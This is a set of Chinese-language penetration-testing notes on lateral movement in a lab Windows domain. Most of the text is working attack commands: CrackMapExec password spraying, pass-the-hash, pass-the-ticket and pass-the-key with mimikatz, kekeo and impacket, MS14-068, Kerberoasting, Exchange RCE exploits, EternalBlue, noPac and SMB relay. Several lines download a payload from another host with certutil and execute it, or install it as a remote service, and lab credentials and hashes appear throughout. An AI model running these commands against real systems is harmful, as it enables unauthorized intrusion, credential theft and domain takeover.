总结:
crackmapexec(密码喷射)=>proxychains+crackmapexec =>同时扫描多个ip,扫描多个账号/密码爆破登录,执行命令
票据攻击=>PTH(哈希传递攻击) PTT(票据传递攻击)->烂土豆kekeo|漏洞-MS_14068 PTK(密钥传递攻击)->aes256 补丁KB2871997
服务攻击:
cs 内置端口扫描 RDP服务->3389(端口转发,代理) mstsc明文 mimikatz哈希
WinRM/RS->远程管理 5985
kerberos服务 spn探针 =>Rubeus工具检测 =>导出=>破解tgsrepcrack.py
exchange邮箱服务:
(spn探针扫描 脚本探针) (密码爆破 bp eburst)
漏洞提权 CVE-2020-17144 CVE-2022-0688
漏洞攻击 系统提权 ms17-010
密码攻击
密码喷射(CrackMapExec)
Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html
kali自带
使用
proxychains python cme smb <IP>
-u 用户名
-p 密码/-H 哈希
-X 执行的命令
--local-auth 本地用户
--continue -on-success当字典爆破成功继续运行
域相关操作:密码喷射域登录
proxychains python cme smb 192.168.3.32 -u administrator -p 'Admin12345'
(如果是用的ka1i安装就用crackmapexec替代下面smb)
proxychains4 crackmapexec smb 192.168.3.32 -u administrator -p 'Admin12345'
1.扫描多个IP
proxychains crackmapexec smb 192.168.3.1-100 -u administrator -p 'Admin12345'
2,扫描多个账号/密码爆破登录
proxychains crackmapexec smb 192.168.3.32 -u user.txt -p pass.txt
3.执行命令
proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p Admin12345 -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/sql.exe c:/crack.exe & c:/crack.exe'
加上--local-auth即为本地
票据攻击
PTH&PTT&PTK区别
PTH(pass the hash)
#利用的lm(协议=>可逆)或ntlm(协议=>不可逆)的值进行的渗透测试(NTLM认证攻击)
---pass the hash(哈希传递攻击,简称pth)
PTT(pass the ticket)#利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)
)---pass the ticket(票据传递攻击,简称ptt)
PTK(pass the key)
#利用的keys aes.256进行的渗透测试(NTLM认证攻击)---pass the key(密钥传递
攻击,简称ptk)
NTLM票据:
NTLM票据通常在以下情况下使用:
1.在较旧的Windows操作系统版本中,如windows NT、windows2000和windows XP等。
2.在windows工作组坏境中,其中没有中央的认证服务器,每台计算机都有自己的本地用户帐户数据库。
3,在某些特定的应用程序或系统中,由于历史原因或兼容性要求,仍然使用NTLM进行身份验证。
Kerberos票据:
Kerberos票证通常在以下情况下使用:
1.在现代的Windows操作系统版本中,如windows7、windows8、Windows10等。
2.在域(Domain)坏境中,其中有一个中央的认证服务器(称为域控制器),负责发放和验证Kerberos票证。
3,在大型企业网络中,为了实现统一的身份验证和单点登录功能。
PTH票据攻击
Window Server2012 R2之前使用到的密码散列值是LM Hash、NTLM Hash,
在2012R2及其版本之后使用到的密码散列值是NTLM Hash。
###### Mimikatz–PTH攻击
1.cobalt strike上线=>web 会弹窗
mimikatz sekurlsa::pth /user:Administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
net use //192.168.3.31/c$/
2.复制木马到sql目录c
copy sql.exe \\192.168.3.32\$c\
3.创建任务 bshell
sc \\sqlserver create bshell binpath= "c:\sql.exe"
4.运行任务
sc \\sqlserver start bshell
###### impacket(套件)
exe
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
py
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
PTT票据攻击
###### 烂土豆kekeo
https://github.com/gentilkiwi/kekeo/releases
查看票据
shell klist
生成票据
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" "exit"
导入票据
shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
删除票据
shell klist purge
登录
shell dir \\OWA2010CN-GOD\C$
###### 漏洞-MS14068(admin权限)
补丁为=>KB3011780
–利用漏洞生成的用户的新身份票据尝试认证
–登录普通用户即可访问其他主机=>相当于越权
查看 当前用户sid
shell whoami/user
S-1-5-21-1218902331-2157346161-1782232778-1132
生成票据
shell ms14-068.exe -u administrator@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d god.org -p Admin12345
导入票据
mimikatz kerberos::ptc TGT_administrator@god.org.ccache
登录
shell dir \\OWA2010CN-GOD\C$
复制木马
shell copy sql.exe \\OWA2010CN-God\c$
创建任务&执行
sc \\OWA2010CN-GOD create bshell binpath= "c:\sql.exe"
sc \\OWA2010CN-GOD start bshell
impacket套件=>goldenPac.exe(ms14-068加psexec)
###### mimikatz-PTT攻击
导出票据:(历史票据) =>在system权限下
mimikatz sekurlsa::tickets /export
导入票据:=>需要在域用户下 krbtgt
mimikatz kerberos::ptt 票据完整路径
如mimikatz kerberos::ptt C:\Users\webadmin\Desktop\sbye\[0;3e7]-2-1-50a00000-administrator@krbtgt-GOD.ORG.kirbi
PTK票据攻击
###### Mimikatz–PTK攻击
aeskey代替ntlm hash
PTK=Pass The Key,当系统安装了KB2871997补丁且禁用了NTLM的时候,
原本通过抓取NTLM哈希来进行攻击的方式失去了作用。
NTLM哈希不再有效,因为系统不再接受NTLM身份验证。
此时,攻击者无法直接使用抓取到的NTLM哈希来获取权限或横向移动。
通常情况下,"Pass-The-Key"是一种用于在网络中传递或使用窃取的凭证或密钥的攻击技术。
攻击者可使用其他方法和技术来获取有效的凭证或密胡,以绕过补丁的限制并获得权限。
看补丁信息 systeminfo
mimikatz sekurlsa::ekeys
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
mimikatz sekurlsa::pth /user:webadmin /domain:god.org /aes256:2669c17aefe7d6a2b55274e95f25561268ed65b9c253b3087937c1e60bf1a3c4
靶机会弹窗 =>klist net use dir...
服务攻击
RDP服务
3389端口远程桌面服务
支持明文及HASH连接
条件:对方开启RDP服务远程桌面
--------RDP连接主流方式----
1.直接远程连接(不推荐,容易被发现)
2,建立节点(代理转发)
3.端口转发
1.探针服务:
cs 内置端口扫描3389
tasklist /svc | find "TermService" #找到对应服务进程的PID
netstat -ano find "PID" #找到进程对应的端口号
2探针连接:
CrackMapExec&MSF批扫用户名密码验证
3.连接执行:
明文连接:
mstsc /console /v:192.168.3.32 /admin
mimikatz # privilege::debug #提升应用权限
mimikatz # sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"
WinRM/RS
WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的一种服务。
winRM是一种用于在windows操作系统上执行命令的远程访问工具。
默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。
移动条件:双方都启用的Winrm rs的服务
使用此服务需要管理员级别凭据。
windows2008以上版本默认自动状态,Windows Vista/win7上必须手动启动:
windows2012之后的版本默认允许远程任意主机来管理。
使用前提
跳板机/被攻击端需要开启:
(双方都启用的Winrm rs的服务)
以管理员身份administrator去运行如下命令
powershell winrm quickconfig -q //开启winRm服务
shell winrm get winrm/config/Client //查看配置
shell winrm set winrm/config/Client @{TrustedHosts="*"} //开启
winrs -r:<目标IP> -u:<目标IP或者域名>\<用户名> -p:<密码> whoami
例:winrs -r:192.168.3.32 -u:god.org\administrator -p:Admin12345 whoami
例:winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:Admin12345 whoami
例:winrs -r:192.168.3.32:5985 -u:administrator -p:Admin12345 whoami
下载木马&执行木马
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/sql.exe c:/winrsexe & c:/winrsexe"
Kerberos服务
Kerberoasting攻击的利用:
SPN服务发现 域控内网内的所有服务
请求服务票据
服务票据的导出
票据--加密
服务票据的暴力破解
利用条件:Kerberoast与服务建立的连接票据--》加密类型是RC4_HMAC_MD5
如果为其他加密类型则不行。例如AES_256
域环境内执行
powershell setspn -T god.org -q */*
powershell setspn -T god.org -q */* | findstr "MSSQL"
判断是否存在
###### SPN探针扫描
域环境内执行
powershell setspn -T god.org -q */*
powershell setspn -T god.org -q */* | findstr "MSSQL"
setspn -T 0day.org -q */*
###### 判断存在
工具检测
https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html
Rubeus
shell Rubeus.exe kerberoast
加密内存RC4
手工检测
产生票据文件 靶机—> sqlserver
powershell Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SqlServer.god.org:1433" =>服务名
3.3(建立连接)
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433
###### 导出(mimikatz)
###### 破解(tgsrepcrack.py)
mimikatz kerberos::list /export
python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"
Exchange邮箱服务
###### 发现邮件服务(探针)
发现服务(探针)
1、端口扫描25,587,2525
exchange会对外暴露接口如OWA,ECP等,会暴露在80端口,而且25,587,2525等端口上会有STMP服务,所以可以通过一些端口特征来定位exchange。
2、SPN扫描
powershell setspn -T Oday.org -q */*
3、脚本探针
python Exchange_GetVersion_MatchVul.py xx.Xx.Xx.Xx
###### Exchange爆破
Burp(intruder)+Proxifier(账号密码) 密码本特殊字符需要url转码
//在内网里面一般密码就是他用户的密码
=>https://xxx.xxx.xxx.xxx/owa/auth/logon.aspx
2、项目工具爆破
https://github.com/grayddq/EBurst
https://github.com/lazaars/Mailsniper
###### Exchange漏洞
确定内核版本-筛选Server版本-确定漏洞对应关系-选择漏洞进行使用
内核版本确定
查看源代码,Exchange_GetVersion_MatchVul.py
命令执行漏洞
CVE-2020-17144
cVE-2020-17144.exe 192.168.3.142 jack admin!#45
CVE-2020-17144.exe 192.168.3.142 administrator Admin12345
运行成功自动生成webshe11。菜刀连接即可
CVE-2022-0688
py -3.6 cve-2020-0688.py -s https://192.168.3.142/owa/ -u jack@oday.org -p admin!@#45 -c "calc"
复制输出结果->CVE-2020-0688 Exchange Rce\ysoserial-1.32里->粘贴得到反序列化结果->重新回到cve输入
漏洞攻击
系统提权
###### ms17-010
CS->MSF
cs上线->创建监听器msf->foreign/reverse_http 8881
会话交互 spawn msf监听器名称
MSF监听联动配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8881
run
添加路由
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
//查看当前路由表
开始扫描
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.3.21-32 //设置扫描目标段
set threads 5 //设置扫描线程数
run
对扫描到的ip进行攻击上线->从而实现横向移动
利用模块1
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp //正向连接上线
set rhost 192.168.3.3 //设置连接目标
set rhosts 192.168.3.3 //设置扫描目标
run
利用模块2
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.3.3
run
域控提权
###### CVE-2014-6324(PTT-MS14-068)
提权漏洞,具体看上面
###### CVE-2020-1472(密码清空)
###### CVE-2021-42287(登录伪造)
扫描探针(host ip应指向域名)
noPac.exe scan -domain god.org -user webadmin -pass admin!@#45
利用连接
noPac-domain<域>-user<用户名>-pass<密码>/dc<域系统全名>/mAccount<假用户名> /mPassword<假密码>/service cifs/ptt
noPac -domain god.org -user dbadmib -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount mmm4 /mPassword sdadasdsa /service cifs /ptt
PsExec.exe \\OWA2010CN-God.god.org\ cmd
dir \\192.168.3.21\c$
###### CVE-2022-26923(证书覆盖)
攻击手法
Relay重放-SMB上线
dir \\xxx.xxx.xxx.xxx\c$ 会先用本地账户的账号密码进行验证后才开始寻找令牌凭证
cs上线=>转发msf 添加路由
use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
//set lhost 43.138.215.2 //设置本地IP如果下面设置正向连接这一步不用也可以
set autorunscript post/windows/manage/migrate
主动连接:
set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run
权限窃取->getuid查看当前用户
ps查看进程
migrate获取权限
